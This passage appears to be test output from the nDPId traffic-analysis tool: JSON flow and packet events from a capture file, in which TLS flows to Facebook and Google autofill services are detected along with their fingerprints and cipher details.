+00525{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6497,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1605289715782,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a03:2880:f11f:83:face:b00c::25de","src_port":60340,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6497,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":782853,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gAWIEACgGQCoBywEgSYsHmR3shSjf9ikqAyiA8R8Ag\/rOsAwAACXe67QBu2RbtWoAAAAAoAL9IBbyAAACBAWgBAIICmcfa8wAAAAAAQMDBw=="} +00470{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6878,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":833903,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoDKIDxHwCD+s6wDAAAJd4qAcsBIEmLB5kd7IUo3\/YpAbvrtAAp+EJkW7VroBJXgNkoAAACBAV4AQMDAwQCCArCuShfZx9rzA=="} +00459{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6886,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":833970,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAWIEACAGQCoBywEgSYsHmR3shSjf9ikqAyiA8R8Ag\/rOsAwAACXe67QBu2RbtWsAKfhDgBAB+10HAAABAQgKZx9r\/8K5KF8="} +01153{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6914,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":834672,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gAWIEAiUGQCoBywEgSYsHmR3shSjf9ikqAyiA8R8Ag\/rOsAwAACXe67QBu2RbtWsAKfhDgBgB+\/QzAAABAQgKZx9sAMK5KF8WAwECAAEAAfwDA15ScC6cz0Mm40ZOuOfJU9tsVGcffyVHK66YSdKRGbaAIPaARvdX8cCHMx9rMsZJhiJlEhn0QL88TbX34lqqt\/OKACDa2hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPa2gAAAAAAFQATAAAQd3d3LmZhY2Vib29rLmNvbQAXAAD\/AQABAAAKAAoACCoqAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApKioAAQAAHQAgpYv7qRG6do7VtNy5242ZZbX6mD8VP8lQEUUuZeSYdj0ALQACAQEAKwALCsrKAwQDAwMCAwEAGwADAgACCgoAAQAAFQDMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00848{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6914,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":4,"flow_first_seen":1605289715782,"flow_last_seen":1605289715834,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a03:2880:f11f:83:face:b00c::25de","src_port":60340,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.facebook.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00516{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7909,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1605289715966,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::200a","src_port":47790,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7909,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289715,"pkt_ts_usec":966342,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDvs7ACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAKuq4Bu2\/h7B4AAAAAoAL9IFQFAAACBAWgBAIICqkvSd0AAAAAAQMDBw=="} +00457{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8856,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":18193,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoDKIDxHwCD+s6wDAAAJd4qAcsBIEmLB5kd7IUo3\/YpAbvrtAAp+ENkW7dwgBALMFGYAAABAQgKwrkok2cfbAA="} +02335{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8857,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":18194,"pkt_caplen":1466,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1466,"pkt_l4_len":1412,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYQGPSoDKIDxHwCD+s6wDAAAJd4qAcsBIEmLB5kd7IUo3\/YpAbvrtAAp+ENkW7dwgBgLMGmwAAABAQgKwrkolWcfbAAWAwMAegIAAHYDA\/Zv82lNuRbM8syUiuhC397Q6lYK25T3wLvnkXjAbaHKIPaARvdX8cCHMx9rMsZJhiJlEhn0QL88TbX34lqqt\/OKEwEAAC4AKwACAwQAMwAkAB0AIKgVOsZfFfg0E\/C\/x7u35Pu8x2v5i3X+EqqCp03gZzMlFAMDAAEBFwMDA\/klD8sfu4\/LnegWlGovjl9lUv0bXkf8RpK699850o2szbS6NfXtMocHWTa8Th+s20BfY9zCxmomNr\/cPm+SRf7GMy4M+yclTSrjc\/CcSUZ69Z0c18WYpmioLCQSoPxBoA8efdvNAtPDEP7tDaO6331ZFZE2wi6cXH4w2jcPT6kAzhd8gBPkA5vl2Bxb1Dc9HoP2c0MniTc6IdBSKMh5lnYt94XwlrpR29u3z1Vj+9dQ6B2hBjsV4p\/TksY5WsNEAz\/s8oFVeLBMVlwEZcoZw+uYhnc3bgLIQxdcRRoNaYiIoaVWnAJh2tfDuVXVhK275sUmgTedibemP7xP4S74LrrGgGyBPSY3JKDEZEVp4XxMLcfGBMYtJmW\/CoyV4tBduLaYVdcXGrLdwFspdaMift3krDm3hVV\/if+8hOgY1NvTyL0SnplBIIjBt3uhRnLwTOXelnZj4DgQFls9BEJP7DonMnuiWLPp3KgkKOLezFxfpcmDvZeq1KrIlzkK8na\/weh8QiMYGqqvur\/7eATXhb8lwqmX0HXpGMASgKzdyF+nlxh69YgJLHQO8BBsv+sTHX8TQ768IceP5vyAJXn6mTGHDwgboH50bLQx4Wc10\/t94NPTjHjqeKHGUIdBJZ2z\/jxQQl3sbEGHj8FtrlfK1qvO4k1eJaRsKcffr5zVzt77hCS5aMKr3xs3CZ5fNq9nu9QG4Xy6eqw1zdydCCQklBwHCZspTeklffPg333zPHaDLUZ1\/5VqOS8F3bOY3udbukkOtDgokPfSYiEpmKayHVd8NR7w2vhR1\/zi7CrxzWsmp5GJseuJlnVxFo5EU8eXyuN2Zk8qhIN7pZHogf1tCnDiHHd90WsWiBnvliUEUoYz9vMnhUGjPFdU\/5PFUoyu1sMZHgU+RSOuYbvxcynlbFcyqwYdI8U8hXutBB\/aRzjXh4BHG\/39+SBBOqCTjy3bBbqjvSJLYd1TZk8VbvW8aZG+2KjJmD8rm8KgtAI9yJGCU0o0WB1dcp5ATG5ZuBT11k8aCS0mez1ikBixnpPsxbNP1g7vkxyr\/tVwxmmSshK8HvZqVe\/bnC+RlZERrqSkRKyN56YyEOTAI1pIA1SM4A9DUqNCcWhskAmc9ChePid8pHQUJ13y1hkfL1YVY7GO5eh3o\/5CixYOLy\/Bl1HyCrt1qCS8aBZoxZ5d07Iv4S9VbPoB6sRZYAp31h3lElpB0IoUe3YP5evJ\/cbYAcsfk8HjPj5y71mZnIFYzHgyVQKNz+pLi1A6ZkDGFGNwUVELZGIqZhV7dPWsUO6yDyO+N4VPeSHlGJMzy7Vk0cwiR5k3J2WSKk3lMnYZXBiPAg2r3nRhOBhpkAdW3noXAwMEaFn7xQrUi7hyqafiLHadc9fOekqSQ0y+iTrrj8cxNRPJTLuhdEMfKw5UwHNKvsczF2H2KJ+4LNzk6OLgErfB\/lxfvQ3bisZ3VdbyXR1\/geRQYx4Y3icfUrdeC0Urg+mv5wR\/N2tI4asM8lUpBZOlS1q05VBoLyqkl2NciUwS5HvvF3z+aXjSmo08zWsZRsSg5QK0Sp3HG9JslD78QA\/b8lldD6HSGefreO2\/CDBcUsC01jbQFP4kfS32K1\/OmLRDRZ6S9Hxurb+c1Typqs2tw56W4XA0o8Ps3vtGr9E="} +00889{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":8857,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":6,"flow_first_seen":1605289715782,"flow_last_seen":1605289716018,"flow_tot_l4_data_len":2105,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1412,"flow_avg_l4_data_len":350,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a03:2880:f11f:83:face:b00c::25de","src_port":60340,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.3","client_requested_server_name":"www.facebook.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01695{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8858,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":18194,"pkt_caplen":994,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":994,"pkt_l4_len":940,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAA6wGPSoDKIDxHwCD+s6wDAAAJd4qAcsBIEmLB5kd7IUo3\/YpAbvrtAAp\/adkW7dwgBgLMNygAAABAQgKwrkolWcfbADDVeQ\/k3Qst\/RsaWEuHKPFLNvjqq\/Hv9LHzQjH+Rd6ZG4RKRzEy4vqn5joNNFQlNiVDa9b+mlsNOwpZtc6939ZD2VtXwG\/FwSv4EhAG2KOX5xPi8WELe3kmVEkZNohga9t0oegpdywfuSu2bPHYiFyXTescq6KHzT7iPIutkYxYBdKRxsgONnyjb\/wtvKTndDNVVeqJNk6r9W3IiJIEgn5LdROz81zgQLgfpzZnziaHHXUGZtD8GG1i2sG01wdcIe096eLMizqVjzY4e6Y1nKY7rraRV7YqPosi9CJCHpN0R4NA0et7DVrQHDpVHuAWsr4WK98nrv+ZGGmEbMQZNkrXQT\/4L4Gb86pOMC\/paC2K6VC1R\/uhe6Dez2CDNyr\/i9+9jSLsK9i53Ws6crPWahTQmIPjBKaXmE1IjNxAxpiGFyUVyHH3Y8ZRZo\/thiFljXQKRis7JoRF6YAGs+XjeWECN4oFhPrBQq452H2XdFRzon3IohJ2d0ragabNxHThSNmgakBdO6cFV4ICOSUbWGz0rZtNRNEON\/pSMmgk3n+c9dUCPpKtC0gTFzmwyjDXzb2Wn0qQNeiJXPJAeUulC4mAyzOgEfvHd2UI9OJsgH5Z7NQWybH1xBUxjREpHuCS5Xi20OHJ8dwt5l6AcjcQUgXxoEo4IHT8SbQzLKYE9P18OVTKItOhhAYs0n3GMvYI8UOnUyTlyzZ5C29ULuZSd2xHmEHrP25vl8ULDxQcuSLLWtCdmQjUKANReuTdiGl5knlIOJbOt\/ldE8QBp6DmqE4xcZ+26121pUDRq+NbzVr\/XmEF\/JjVm0\/MEHfdLlsiKmbNDFT5pOgP+nTEG0j7xQThvDtHWqzE7krS6CgjbD8OQFzcC6JuY+ObbRw2u3WOyMCRw74AsbPM2Ta8vQwOpHWSeMNaQ\/mu+OVLvUdEbU+hZqbCaD6JKrvXCLKXnAJbjydA\/ky\/QMJZyuxWZdcmb6OeAfp+pos+xm1EW791dlZuYGKzQ3bYMQ3CNjc0G1FQV2aL3oZbsWAaabaL\/KDyYhMSKlWFxc\/pcm63b+afaYphtjtkwBMqNWyys3Lc9P43ZDVEyoYgQ7o6MfvWv3Z1PWXjJjp77ec3VFdy5hzLk+i\/\/DzGzq+oHyhLMwy3HWiqvYode50VvmSVOJwIyAnn9OqhyiVitUr5LFVy3v3g0Brj5YCl8FWMmpuRzYN4A=="} +00457{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8862,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":18343,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAWIEACAGQCoBywEgSYsHmR3shSjf9ikqAyiA8R8Ag\/rOsAwAACXe67QBu2Rbt3AAKf2ngBAB9VS1AAABAQgKZx9suMK5KJU="} +00457{"flow_id":20,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8863,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":18409,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAWIEACAGQCoBywEgSYsHmR3shSjf9ikqAyiA8R8Ag\/rOsAwAACXe67QBu2Rbt3AAKgEzgBAB8lEsAAABAQgKZx9suMK5KJU="} +00469{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8901,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":21823,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgWAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbu6rg79HT9v4ewfoBJXgOHBAAACBAV4AQMDAwQCCArCuSkJqS9J3Q=="} +00458{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8902,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":21899,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDvs7ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAKuq4Bu2\/h7B8O\/R1AgBAB+2WcAAABAQgKqS9KFMK5KQk="} +01151{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8903,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":24503,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDvs7AiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACAKuq4Bu2\/h7B8O\/R1AgBgB+960AAABAQgKqS9KF8K5KQkWAwECAAEAAfwDAz7PSjjgfHJf+nCfn3DPMxydUwVUjvYQFiNHK08caRmgIChBHphlkCrDONZuzjKATga3CNpgPdLG1nC8FJaIcfu7ACDa2hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNKSgAAAAAAJAAiAAAfY29udGVudC1hdXRvZmlsbC5nb29nbGVhcGlzLmNvbQAXAAD\/AQABAAAKAAoACGpqAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApamoAAQAAHQAgphW3bcEnLefm+sIpksFu2OouFtq8r6bigf0SizCebCQALQACAQEAKwALCpqaAwQDAwMCAwEAGwADAgACCgoAAQAAFQC9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00857{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8903,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":4,"flow_first_seen":1605289715966,"flow_last_seen":1605289716024,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::200a","src_port":47790,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"content-autofill.googleapis.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00544{"flow_id":20,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8905,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":25947,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gAWIEAGAGQCoBywEgSYsHmR3shSjf9ikqAyiA8R8Ag\/rOsAwAACXe67QBu2Rbt3AAKgEzgBgB9eN7AAABAQgKZx9sv8K5KJUUAwMAAQEXAwMANaH9kE70EVJtV1DDSBkEQx3iDCkWHzmcOn6XCYT5TkWq2Y02DcjUNtb2n0tU2GKt8EIZui0G"} +00585{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8906,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":34506,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gAWIEAHwGQCoBywEgSYsHmR3shSjf9ikqAyiA8R8Ag\/rOsAwAACXe67QBu2Rbt7AAKgEzgBgB9QrTAAABAQgKZx9syMK5KJUXAwMAV4668ZbiYffDBt++pTTpcgIdJqL5yB9rmBga9TuRIpkPti6ML50lrXGs6k2M+FsTO55gA5WdB3fLulP7A3+ty2OkaWTeJgp9kcoViDG2WV5NRFgtHSMPug=="} +00962{"flow_id":20,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8909,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":38376,"pkt_caplen":456,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":456,"pkt_l4_len":402,"pkt":"qtsDr8lk5EKm5WPyht1gAWIEAZIGQCoBywEgSYsHmR3shSjf9ikqAyiA8R8Ag\/rOsAwAACXe67QBu2RbuAwAKgEzgBgB9WV4AAABAQgKZx9szMK5KJUXAwMBbVLhA881WLV0udNBaKUcp\/Bf8F7uD2l2ScQ8o40j3H5ruDKrtyQ0zt2UWNq\/RZnzSCz6FZXLPGjsrYIIizp\/Jg\/xMWafdRreGbQHvB7UPRJA9MrWNlYHTKP4XlTnCuG4SQi7IeTc+CTbG6fYRRlTgKZTXPurq+iDar6wqLjYv0znqh3GthYIT6arq8jUSLI69FMi4ThEGdImRQXXFu2AxdOS1JnUvTMrmqP\/xHBYLA2XqhGT2itwjYlhb10rNKBv61mvRvHfTeX8z\/gsH0b1NFKa\/8DANv9t6MahgA3Z35CY8s9ReN9UpeJoYNQ1pftNIyBNXdVMMinY2ZcR7Eo9BywS5XHQ\/ajP+2jfsHSB2TCb748CzTvwnlzGEsZZbpXzMHB8holYKh0A5fkXHpdp+5k9CxCLIYSVtLl4CKUlN\/vAUcwijWdsdav49Upr1SO6sLdzYYIoi1YKonKpcSeO9QQytkFXJ1Jvcsa1EOY0"} +00458{"flow_id":20,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8915,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":66900,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoDKIDxHwCD+s6wDAAAJd4qAcsBIEmLB5kd7IUo3\/YpAbvrtAAqATNkW7ewgBALOEbbAAABAQgKwrkpWWcfbL8="} +00457{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8917,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":66903,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgWAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbu6rg79HUBv4e4kgBALMFoOAAABAQgKwrkpWqkvShc="} +00458{"flow_id":20,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8918,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":66903,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoDKIDxHwCD+s6wDAAAJd4qAcsBIEmLB5kd7IUo3\/YpAbvrtAAqATNkW7gMgBALREZqAAABAQgKwrkpWWcfbMg="} +00458{"flow_id":20,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8931,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":77506,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoDKIDxHwCD+s6wDAAAJd4qAcsBIEmLB5kd7IUo3\/YpAbvrtAAqATNkW7l+gBALckTEAAABAQgKwrkpW2cfbMw="} +02101{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8994,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":84706,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgWAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbu6rg79HUBv4e4kgBgLMKVvAAABAQgKwrkpYakvShcWAwMAegIAAHYDA1jh7xCoTyadSFUj26cQkOgzytBbi2Isa1DRm+sW9Q3PIChBHphlkCrDONZuzjKATga3CNpgPdLG1nC8FJaIcfu7EwEAAC4AMwAkAB0AIAp5l5jvQ3NMGiZznRuVxhV35YX4k92J9I0sambEOydfACsAAgMEFAMDAAEBFwMDCttwljQi6GMqImLVcNfc+3JdVN1A86OnoLPZbEt6YVxteNjlRD1NCO82F0p41xwX0F4\/uUJk6aphIzJmXehIFsxmzu2r1T6QWkEm\/rwGNGddIx35Ol\/SXn7yU28dRt8EGWBEZhV2TEt82mTDu7F+fWK0mWeBRQmxQEDXPWhufLbSFb9bBa7p6+5cGAxpskeS+PE06a6qgp2cf00AxMyHKU6fMr50x2FVD1Yxhdd0EtaXWySr5Nc1+UlCJh+0IeeQUf6kF+3G07rJgpImPKt\/XJcghKONkb\/1nkTmu6jqKDy+ix1gcrbq1+6H34Sz1XgZqgaUcrxKsiohxt\/x6rtw6h7e1+C15DSfseiK26K+yHEU+ZyRi6nkWhfH+6Ve2V+fPtitnORJ4SsViy4FczjTEo3zFR5hHFJ0h6L\/7fi8dPOs2qxL\/CaQFeVnZUiJ9ieAHyrpQibkYP5u\/Hv7hcKQlXYxWEaDnMsTgZeI8+FkZ28KFYojCvTfUiAmC2mNcHOZHevCrWfyXO1LulNbDAe5eip3g0B4NFMA2UxgcFDYVP8vQGjkUOtw5jKF\/NM4kJJoqwN+VEZBCdKbu4eJO38mGPnIfM7VYCuHnU\/oJ0omrP8zLymDZS96FzUarJv+fih4SXwwlE5pmmh7xzguIdJintsCEhx4HO\/YJEimsP8b0gAGU4eORZMVs5WnYNM\/HA+96mUHobDihYUGsnmh8o4F2mbw+wN04KUe2v\/bCLjmUNcX5rBbojkkqVLskJmh4U7QAjyEUQwj75f5ffucHm0kV\/Fsq5Luikxt7IzqVpMovigS9buDJVE2la3LNEgMuxzx0UWoBb1e\/1x9nrN1bQxUE0XhSnQYj8CIT2Jh4WPFus6VvX19WOxa0EIBBTO4oa+sj2nOQoYzz01EbevNYSHw4KnsPJ10UKC0sUZ96NhBZxXgM+DOspWf6XCY2KYS7j8dYmUzNpr2cAdSZaYJvt5uf0\/\/GT83zwh46Q50cLI81bpl9ym1\/BZO2FC3ylf+ySUaemW\/0CgmYDqU\/U4WEe7pLYDfb7GgbiyK8SG+MVzqJs3dLrSmZPJ5pV1pZRx\/uHyON\/SLZ+9CAd6KkfHrNkLFtsvQJ8BMBUCu4Lgtnrb+fOe6BssecrdcnEAvUccqMg96NBPMMtXScR5t1o+iUT